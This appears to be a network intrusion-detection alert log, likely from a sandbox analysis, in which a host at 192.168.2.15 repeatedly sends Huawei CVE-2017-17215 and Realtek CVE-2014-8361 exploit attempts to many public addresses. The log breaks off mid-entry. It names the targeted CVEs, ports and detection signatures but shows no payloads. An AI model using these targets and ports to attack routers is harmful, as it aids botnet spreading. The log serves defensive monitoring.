ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 165.7.65.37

Timestamp:	07/20/24-23:10:56.021160
SID:	2829579
Source Port:	50268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 198.78.111.199

Timestamp:	07/20/24-23:10:51.984755
SID:	2831300
Source Port:	60138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 162.136.177.252

Timestamp:	07/20/24-23:10:51.926807
SID:	2831300
Source Port:	47144
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.107.234

Timestamp:	07/20/24-23:11:06.676716
SID:	2829579
Source Port:	36432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 1.176.202.8

Timestamp:	07/20/24-23:10:52.005273
SID:	2027339
Source Port:	50900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.169.152.167

Timestamp:	07/20/24-23:10:46.809208
SID:	2835222
Source Port:	41136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.8.250.84

Timestamp:	07/20/24-23:10:40.601389
SID:	2835222
Source Port:	47874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 132.40.118.189

Timestamp:	07/20/24-23:10:45.666098
SID:	2027339
Source Port:	53780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.64.238

Timestamp:	07/20/24-23:11:03.343633
SID:	2829579
Source Port:	39704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.16.205.236

Timestamp:	07/20/24-23:10:49.370142
SID:	2829579
Source Port:	46956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 222.120.170.64

Timestamp:	07/20/24-23:10:51.991411
SID:	2831300
Source Port:	34454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 96.23.53.208

Timestamp:	07/20/24-23:10:52.546429
SID:	2835222
Source Port:	35648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.225.135.170

Timestamp:	07/20/24-23:10:40.653603
SID:	2829579
Source Port:	42998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.58.174.18

Timestamp:	07/20/24-23:10:56.011227
SID:	2835222
Source Port:	55328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.180.228.252

Timestamp:	07/20/24-23:10:39.462416
SID:	2835222
Source Port:	37890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 195.68.182.111

Timestamp:	07/20/24-23:10:43.838065
SID:	2027339
Source Port:	53596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.112.198.128

Timestamp:	07/20/24-23:10:46.739331
SID:	2829579
Source Port:	49120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.160.166.27

Timestamp:	07/20/24-23:10:40.656564
SID:	2835222
Source Port:	34744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 194.217.196.209

Timestamp:	07/20/24-23:10:42.621194
SID:	2027339
Source Port:	57786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.7.41

Timestamp:	07/20/24-23:10:52.563890
SID:	2829579
Source Port:	40752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 162.29.204.88

Timestamp:	07/20/24-23:10:59.046417
SID:	2835222
Source Port:	54850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.157.158.254

Timestamp:	07/20/24-23:11:06.706397
SID:	2835222
Source Port:	47794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.156.141.151

Timestamp:	07/20/24-23:10:41.673540
SID:	2829579
Source Port:	47218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.122.165.127

Timestamp:	07/20/24-23:10:42.248237
SID:	2829579
Source Port:	42764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 137.22.60.132

Timestamp:	07/20/24-23:10:42.642009
SID:	2027339
Source Port:	41286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 196.162.5.87

Timestamp:	07/20/24-23:10:44.644043
SID:	2025132
Source Port:	40432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 34.108.209.169

Timestamp:	07/20/24-23:10:39.479939
SID:	2835222
Source Port:	55066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.208.251.18

Timestamp:	07/20/24-23:10:49.447315
SID:	2829579
Source Port:	58988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 154.174.121.129

Timestamp:	07/20/24-23:10:52.029203
SID:	2831300
Source Port:	35110
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.61.187.214

Timestamp:	07/20/24-23:10:40.656565
SID:	2829579
Source Port:	58524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 176.232.183.149

Timestamp:	07/20/24-23:11:03.304768
SID:	2829579
Source Port:	54474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 13.129.217.20

Timestamp:	07/20/24-23:10:45.064942
SID:	2027339
Source Port:	38992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 65.159.253.195

Timestamp:	07/20/24-23:10:52.581035
SID:	2835222
Source Port:	36456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.16.29.198

Timestamp:	07/20/24-23:10:39.487319
SID:	2829579
Source Port:	50780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 212.22.178.123

Timestamp:	07/20/24-23:10:42.621912
SID:	2831300
Source Port:	41542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.145.75.170

Timestamp:	07/20/24-23:10:40.653603
SID:	2835222
Source Port:	52726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 175.237.79.153

Timestamp:	07/20/24-23:10:48.420135
SID:	2025132
Source Port:	56410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 155.186.2.88

Timestamp:	07/20/24-23:10:39.114530
SID:	2025132
Source Port:	52890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.87.201.136

Timestamp:	07/20/24-23:10:41.230071
SID:	2829579
Source Port:	54702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.88.129.27

Timestamp:	07/20/24-23:11:06.665554
SID:	2829579
Source Port:	56124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.33.235.116

Timestamp:	07/20/24-23:10:41.231186
SID:	2829579
Source Port:	52666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 24.166.44.145

Timestamp:	07/20/24-23:10:44.706644
SID:	2025132
Source Port:	33952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.30.145.239

Timestamp:	07/20/24-23:10:40.652868
SID:	2829579
Source Port:	45842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.188.107.151

Timestamp:	07/20/24-23:10:41.227612
SID:	2835222
Source Port:	55912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 123.14.61.21

Timestamp:	07/20/24-23:10:44.554759
SID:	2027339
Source Port:	38366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 46.240.3.150

Timestamp:	07/20/24-23:10:52.581805
SID:	2835222
Source Port:	34314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 144.85.64.233

Timestamp:	07/20/24-23:10:40.601389
SID:	2829579
Source Port:	40936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 125.158.123.72

Timestamp:	07/20/24-23:10:52.033727
SID:	2027339
Source Port:	39878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.27.25.162

Timestamp:	07/20/24-23:10:52.571075
SID:	2835222
Source Port:	34266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.104.3.213

Timestamp:	07/20/24-23:10:52.571075
SID:	2829579
Source Port:	40740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 85.110.124.59

Timestamp:	07/20/24-23:10:47.766237
SID:	2025132
Source Port:	51562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.237.236.60

Timestamp:	07/20/24-23:11:03.406798
SID:	2835222
Source Port:	52722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.63.105.252

Timestamp:	07/20/24-23:10:59.057854
SID:	2835222
Source Port:	55310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.85.172.181

Timestamp:	07/20/24-23:10:59.057855
SID:	2835222
Source Port:	49888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 36.65.48.163

Timestamp:	07/20/24-23:10:46.951048
SID:	2027339
Source Port:	43052
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 223.179.196.98

Timestamp:	07/20/24-23:10:51.944865
SID:	2027339
Source Port:	53640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 217.182.185.170

Timestamp:	07/20/24-23:10:56.024382
SID:	2829579
Source Port:	44168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.19.206.241

Timestamp:	07/20/24-23:10:56.016286
SID:	2835222
Source Port:	54254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.57.193.59

Timestamp:	07/20/24-23:10:39.433488
SID:	2835222
Source Port:	58030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.252.37.33

Timestamp:	07/20/24-23:10:52.564314
SID:	2829579
Source Port:	41838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 34.182.233.76

Timestamp:	07/20/24-23:10:39.434124
SID:	2829579
Source Port:	59342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 42.146.219.162

Timestamp:	07/20/24-23:10:44.580130
SID:	2027339
Source Port:	35578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 188.92.250.60

Timestamp:	07/20/24-23:10:51.983833
SID:	2831300
Source Port:	52352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.117.24.91

Timestamp:	07/20/24-23:10:42.250388
SID:	2835222
Source Port:	36558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 60.235.44.38

Timestamp:	07/20/24-23:10:56.046357
SID:	2829579
Source Port:	57642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.144.129.13

Timestamp:	07/20/24-23:10:42.250387
SID:	2835222
Source Port:	39544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 119.87.220.235

Timestamp:	07/20/24-23:10:39.063001
SID:	2025132
Source Port:	38292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 90.4.66.163

Timestamp:	07/20/24-23:10:42.661464
SID:	2831300
Source Port:	38748
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 12.15.153.124

Timestamp:	07/20/24-23:10:51.923394
SID:	2027339
Source Port:	33870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 83.250.119.240

Timestamp:	07/20/24-23:11:03.406798
SID:	2829579
Source Port:	48878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.183.11.184

Timestamp:	07/20/24-23:10:42.248264
SID:	2835222
Source Port:	57070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.111.165.124

Timestamp:	07/20/24-23:10:41.222609
SID:	2835222
Source Port:	45306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 149.136.218.225

Timestamp:	07/20/24-23:10:51.983833
SID:	2831300
Source Port:	59648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 38.143.90.107

Timestamp:	07/20/24-23:10:51.898652
SID:	2027339
Source Port:	34882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 206.61.255.0

Timestamp:	07/20/24-23:11:06.669620
SID:	2835222
Source Port:	55222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.202.161.142

Timestamp:	07/20/24-23:10:41.231186
SID:	2829579
Source Port:	39992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 169.184.79.124

Timestamp:	07/20/24-23:10:47.910067
SID:	2025132
Source Port:	37582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.122.204.244

Timestamp:	07/20/24-23:11:03.396755
SID:	2835222
Source Port:	60040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 203.235.22.121

Timestamp:	07/20/24-23:10:51.909417
SID:	2027339
Source Port:	38632
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.67.131.214

Timestamp:	07/20/24-23:10:59.029071
SID:	2829579
Source Port:	56126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 180.67.45.152

Timestamp:	07/20/24-23:10:56.030930
SID:	2829579
Source Port:	58628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.89.109.175

Timestamp:	07/20/24-23:10:49.402846
SID:	2835222
Source Port:	51906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 35.193.189.57

Timestamp:	07/20/24-23:10:59.028826
SID:	2835222
Source Port:	40050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 152.73.4.67

Timestamp:	07/20/24-23:10:52.026922
SID:	2831300
Source Port:	58934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.12.224.149

Timestamp:	07/20/24-23:11:03.306275
SID:	2829579
Source Port:	43660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.27.129.245

Timestamp:	07/20/24-23:10:59.032609
SID:	2829579
Source Port:	46860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.42.101.14

Timestamp:	07/20/24-23:10:39.479427
SID:	2829579
Source Port:	56706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.122.105.2

Timestamp:	07/20/24-23:11:03.339788
SID:	2829579
Source Port:	43124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 120.127.21.138

Timestamp:	07/20/24-23:10:42.629188
SID:	2831300
Source Port:	39790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 89.8.95.202

Timestamp:	07/20/24-23:10:41.224086
SID:	2835222
Source Port:	55154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.99.68.139

Timestamp:	07/20/24-23:10:52.571075
SID:	2829579
Source Port:	60290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 103.246.101.15

Timestamp:	07/20/24-23:10:39.430384
SID:	2829579
Source Port:	43798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 118.30.197.237

Timestamp:	07/20/24-23:10:52.008043
SID:	2831300
Source Port:	36588
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.143.92.83

Timestamp:	07/20/24-23:10:56.046357
SID:	2835222
Source Port:	58110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.75.226.137

Timestamp:	07/20/24-23:10:52.592459
SID:	2835222
Source Port:	42912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 40.70.214.228

Timestamp:	07/20/24-23:10:45.260968
SID:	2025132
Source Port:	46208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.41.84.165

Timestamp:	07/20/24-23:10:47.735808
SID:	2027339
Source Port:	47698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.189.110.3

Timestamp:	07/20/24-23:10:46.726397
SID:	2829579
Source Port:	52294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.193.215.35

Timestamp:	07/20/24-23:10:59.029071
SID:	2829579
Source Port:	38740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 202.46.173.51

Timestamp:	07/20/24-23:10:56.011930
SID:	2829579
Source Port:	55132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 217.150.234.15

Timestamp:	07/20/24-23:10:44.648045
SID:	2025132
Source Port:	33896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 211.127.214.18

Timestamp:	07/20/24-23:10:42.255257
SID:	2835222
Source Port:	43890
